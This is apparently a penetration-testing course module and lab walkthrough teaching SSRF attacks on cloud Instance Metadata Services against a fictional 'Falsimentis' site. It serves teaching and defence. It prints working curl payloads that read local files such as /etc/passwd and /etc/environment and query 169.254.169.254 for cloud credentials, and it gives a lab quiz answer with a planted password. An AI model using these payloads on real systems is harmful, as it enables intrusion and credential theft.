Cloud Spotlight: SSRF and IMDS

In this module, we'll explore how SSRF attacks can target cloud Instance Metadata Services (IMDS). While SSRF can affect any web app, it's especially important when used against cloud targets.

Web servers often take user input to make their own web requests. For example, if a user uploads an image link for a profile picture, the server will request the image. If an attacker changes the input to make the server send unwanted HTTP requests, it could lead to a Server-Side Request Forgery (SSRF) attack. This may allow attackers to access sensitive information, like cloud authentication tokens, through the Instance Metadata service.

In an SSRF attack, a web client sends a request to a server (e.g., asking for a page like /user with a profile image). The server processes the request and tells the web client where to find the image. The client then makes a second request to get the image from another server. This normal process can be exploited in SSRF attacks.

Sometimes, the server requests a resource for the web client. For example, if a user asks for a page with a profile image, the server fetches the image from another server and sends it back to the user, instead of giving the user a link to get the image themselves.

Web servers often handle requests like converting user content to PDF or transferring data between cloud platforms. If the server doesn't check the input properly, it can be vulnerable to attacks.

In this example, instead of just giving a file name (like "me.jpg"), the server request uses the full URL of the file. The server still works the same way: it fetches the image and sends it back to the client.

Then the attacker changes the URL parameter to file:///etc/shadow. The server then fetches the local /etc/shadow file, exposing sensitive information.

When an attacker can trick a server into making a request to another server, it's called a Server-Side Request Forgery (SSRF) attack. These vulnerabilities are common, even on well-known sites.

SSRF Exploit: URL as a Parameter

Let’s look at how an attacker could find and use an SSRF flaw by checking out the login page for Falsimentis Corporation. This page lets users switch login sources like Facebook, Twitter, and Microsoft (Live.com). When a user selects a different login option, the provider’s logo appears. The URL has two parts: f and logo.

The logo parameter's value shows a URL that uses a CDN to get the Twitter logo. If an attacker sees a URL in a parameter sent to a server, it might be an SSRF vulnerability that needs checking.

SSRF Exploit: Crafted URL Request for Local File

Changing the logo link from a Twitter URL to a local file reference (file://) requests the /etc/hosts file and shows a broken image on the login page. This could indicate an SSRF vulnerability, which can be checked with cURL.

SSRF Exploit: Crafted URL Request with cURL

$ curl -v "http://login.falsimentis.com/imgget.php?logo=file:///etc/hosts"
> GET /imgget.php?logo=file:///etc/hosts HTTP/1.1
> Host: login.falsimentis.com
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: image/svg+xml
< Date: Wed, 13 Jan 2021 11:50:59 GMT
< Server: nginx/1.18.0
< X-Powered-By: PHP/7.3.14
< Content-Length: 174
< Connection: keep-alive
<
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
172.17.0.2 97002ef16edf

We changed the logo link in the browser to a file:// URI, which broke the image. Using cURL, a tool by Daniel Stenberg, we made a similar request. The cURL output showed an SSRF vulnerability because the server exposed the /etc/hosts file.

Although SSRF doesn’t let attackers list files, they can request other important files like /etc/passwd and /var/log/auth.log to gather more information. Next, we'll see how this SSRF issue affects cloud assets.

Exfiltrating Data from Cloud Targets

$ curl -v "http://login.falsimentis.com/imgget.php?logo=file:///etc/shadow"
...
< HTTP/1.1 200 OK
< Content-Type: image/svg+xml
< Date: Wed, 13 Jan 2021 11:54:03 GMT
< Server: nginx/1.18.0
< X-Powered-By: PHP/7.3.14
< Content-Length: 0
< Connection: keep-alive

When exploiting an SSRF vulnerability, attackers aim to access protected files to gain passwords or hashes. For Linux, they often target the /etc/shadow file. However, in cloud systems with minimal setups, this file may not be present. In the example, a modified cURL command attempts to access /etc/shadow, but the server responds with a zero-length content.

The attacker isn't sure if the zero-length response means the /etc/shadow file is protected or missing, but it's a hint to try other cloud-based attacks.

Instance Metadata Service (IMDS) Access

The Instance Metadata Service (IMDS) is a tool used by cloud providers to give developers information about their cloud environment. It helps developers see things like resource availability, network settings, and permissions so they can make better decisions on how their application should work.

The web app uses the URL http://169.254.169.254 to access the IMDS service on the virtual server. For instance, the admin might start a cloud instance with instructions or data, like CSV files, for the app.

$ curl http://169.254.169.254/latest/user-data
autoscale,maxthreads,responsetimeout,resourcelimitm,resourcelimitc
true,18,12000,128,1600

IMDS helps configure cloud assets flexibly without changing the instance or VM. However, it might reveal sensitive info, like database connection details or passwords, if not handled carefully.

$ curl http://169.254.169.254/latest/user-data
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsInNlY3JldCI6IkJNam9wbkFiek1DampkIn0=

In this case, the base64 token is used to access a service. An attacker might exploit this by making a special HTTP request to get sensitive info from the IMDS service, which can be vulnerable to SSRF attacks.

AWS IMDSv1 Credential Exfiltration

AWS IMDSv1 can leak sensitive data due to an SSRF vulnerability. It can expose IAM access keys, secrets, and tokens if the instance provides this information.

In the example, we use a modified cURL command to get the cloud instance role name by changing the logo parameter to the IMDSv1 endpoint. The first request finds the role name, aws-elasticbeanstalk-ec2-role. Adding this role name to the second cURL request gets the security credentials (access key ID, secret key, and token). The ; echo part makes the output clearer.

The attacker can add the stolen credentials to their AWS keychain with AWS-CLI, then use them to access the server and any other privileges of the EBS instance.

Once the AWS CLI profile is set up, the attacker can test the credentials with commands like get-user (output adjusted for space).

Cloud IMDS Access

IMDS credential disclosure is a problem with many cloud services like AWS, DigitalOcean, and Alibaba Cloud. Some providers, like AWS with IMDSv2, now require special authentication or headers to access this data.

$ curl --silent "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text"; echo
{ "error": "Bad request: . Required metadata header not specified" }

$ curl --silent -H "Metadata: true" "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text"; echo
52.168.72.115

In an SSRF attack, the attacker can't change request headers—only the URL. By needing a custom header to access the IMDS service, the cloud provider ensures that only legitimate requests can reach it, blocking SSRF attacks.

GCP VMs use a similar approach to Azure but with a different header (output is shortened for space).

$ curl http://metadata.google.internal/computeMetadata/v1/project/project-id; echo
<p>Your client does not have permission to get URL
<code>/computeMetadata/v1/project/project-id</code> from this server. Missing
Metadata-Flavor:Google header. <ins>That’s all we know.</ins>

$ curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/project/project-id; echo
cryptic-woods-298720

AWS instances can use IMDSv2 for better security, but it's not on by default to stay compatible with older instances, leaving many vulnerable to data leaks.

SSRF and Cloud Target Access

$ curl 'http://login.falsimentis.com/imgget.php?logo=file:///etc/environment'
DBUSER=ulogin
DBPASS=FQVuTTnuXRzNYxbAmmtf

In an SSRF attack, attackers usually care less about OS files, especially in cloud environments where files like /etc/shadow might not exist or be useful. Instead, they focus on finding application-specific files that could reveal sensitive information like database connection strings. They research the application framework, sometimes testing it in their own lab, to figure out where credentials might be stored before exploiting the vulnerable instance.

In cloud setups, everything often runs as root, so if a vulnerable process is running as root, attackers get those same root privileges. This makes file permissions useless for protecting sensitive files.

Credentials are often set as environment variables for security. However, attackers can still access them through the /proc file system or the /etc/environment file if exposed.

Defending against SSRF and IMDS Attacks

[07:45:23] /imgget.php?logo=https://cdn.cdnlogo.com/f/83/facebook.svg
[07:45:24] /?f=Microsoft&logo=https://cdn.cdnlogo.com/a/12/azure.svg
[07:45:24] /assets/js/scripts.js
[07:45:35] /imgget.php?logo=file://etc/passwd

To protect against SSRF and IMDS attacks, first understand the inputs your application handles. For instance, user input can be more complex than just URL parameters. Look out for any system input that could make server-side requests. An example is the Lyft SSRF vulnerability, where a PDF generation feature and an XSS bug let an attacker access Lyft's credentials through SSRF and IMDSv1.

Use logging to spot misuse of systems, like checking web server logs for SSRF attacks or cloud provider logs for credential misuse. For example, in AWS SSRF attacks, temporary credentials might be exposed. Monitor AWS CloudWatch logs for signs of these credentials being used outside the cloud instance, which might indicate a breach. For AWS, enforce IMDSv2 to help protect against SSRF attacks, though it won't stop all types of attacks.

We studied Server-Side Request Forgery (SSRF) and Instance Metadata Service (IMDS) attacks. In these attacks, an attacker tricks a web server into making requests to local resources or cloud metadata by manipulating HTTP requests. If the attacker can control the URL the server requests, they might access local files or cloud credentials. They can exploit this by changing URLs to local file paths, like file:///etc/hosts, and retrieving sensitive data from the system.

If a cloud system is weak against an SSRF attack, it can also be vulnerable to another attack through IMDS. IMDS gives info about the cloud instance and is accessed via http://169.254.169.254. Some cloud providers like Azure and Google Cloud are protected from SSRF attacks on IMDS. AWS has IMDSv2 for better protection, but many still use the older IMDSv1, which is vulnerable. Other providers like Digital Ocean and Alibaba might also be at risk. To protect against these attacks, monitor logs for unusual activity, use IMDSv2 if possible, and limit web server privileges.

Lab 4.6: Cloud SSRF and IMDS Attack

In this lab, we will evaluate the intern.falsimentis.com server, leveraging a Server-Side Request Forgery (SSRF) attack to gain access to Instance Metadata Service (IMDS) data.

Let's browse to the target site at intern.falsimentis.com and spend sometime exploring the target site.

Let's click the Apply link at the top of the site to go to the application form.

Next, we'll look into the published work sample input field for a potential SSRF vulnerability.

To keep exploring the vulnerability, we need to add a URL when we submit the form. Let's open a new terminal in Slingshot Linux, then go to the ~/labs/www directory, and list the files there.

eom circuitboard.jpg

Let's start a local web server using python3 to deliver the image file to the remote site.

sudo python3 -m http.server 80

We can use the Python http.server module to share the circuit board image online at the URL http://10.10.75.1/circuitboard.jpg using the Slingshot Linux IP address.

Let's complete the Falsimentis intern application form. For the Published Work Sample, we'll enter the URL http://10.10.75.1/circuitboard.jpg.

After we submit the form, the server will send a response like the one.

The response page shows the browser displaying a circuit board image, which suggests a potential SSRF vulnerability. To confirm, let's check the web server logs to see if intern.falsimentis.com accessed the image. Switch to the terminal where the Python web server is running and review the logs for details.

This output shows an HTTP GET request where the Falsimentis server asks the attacker for the "circuitboard.jpg" image from 172.30.0.24. The server responds with an HTTP 200 message. Since the server both requests and displays the image in the "Submission Accepted" page, it confirms the system is vulnerable to SSRF attacks.

Next, we'll assess the risk of the SSRF vulnerability to the Falsimentis server.

On the submission page, the server shows the circuit board image to confirm it loaded correctly. To exploit the SSRF vulnerability, let's find the URL of the Falsimentis server's response. We'll go back to the submission page in Firefox, right-click the circuit board image, and choose "Open Image in New Tab."

The server created a local copy of the circuit board image on intern.falsimentis.com as Fares.jpg.

We saw the server show the circuit board image on the submission page. We'll use the cURL command line tool. Let's open a terminal, type curl, and paste the URL.

curl http://intern.falsimentis.com/images/Fares.jpg

In this example, cURL warns that the requested file is a binary (an image) and won't display it on the screen.

Next, we'll use the SSRF vulnerability to extract data from the server. We'll try to access the /etc/passwd file. Let's enter file:///etc/passwd.

The confirmation page might show either a working circuit board image or a broken one, as Firefox can be inconsistent with cached images. Let's go back to the terminal and run the previous cURL command again.

curl http://intern.falsimentis.com/images/Fares.jpg

cURL shows the contents of /etc/passwd instead of giving a warning about binary data on the screen.

  • Attacker submits form with file:///etc/passwd as the URL to retrieve.

  • Server performs an HTTP GET request for file:///etc/passwd, saves as images/Drew.jpg.

  • Attacker requests images/Drew.jpg from the server; cURL displays file contents as ASCII.

Next, we'll use the SSRF vulnerability to try to access other resources, specifically the /etc/shadow file.

We'll see that the submission confirmation looks different, lacking the boxes and images. Let's go back to the terminal and run the previous cURL command again to check the result.

The empty cURL command shows that the SSRF attack failed because of permission issues. The web server can read the /etc/passwd file, but we can't access files needing root access. However, we can read files available to all users, like /etc/passwd, and files owned by the web server, including the web app's source code.

Let's repeat the SSRF attack to access the source code of the /var/www/html/index.html file, which contains the main content of the Falsimentis internal website.

Question: What is the embedded username and password in the web page application source?

Let's go back to the terminal and run cURL command again to check the result.

curl --silent http://intern.falsimentis.com/images/Fares.jpg | grep -iE "user|pass"

Answer: intern:geDgECURnQjuymuGKHoC

Last updated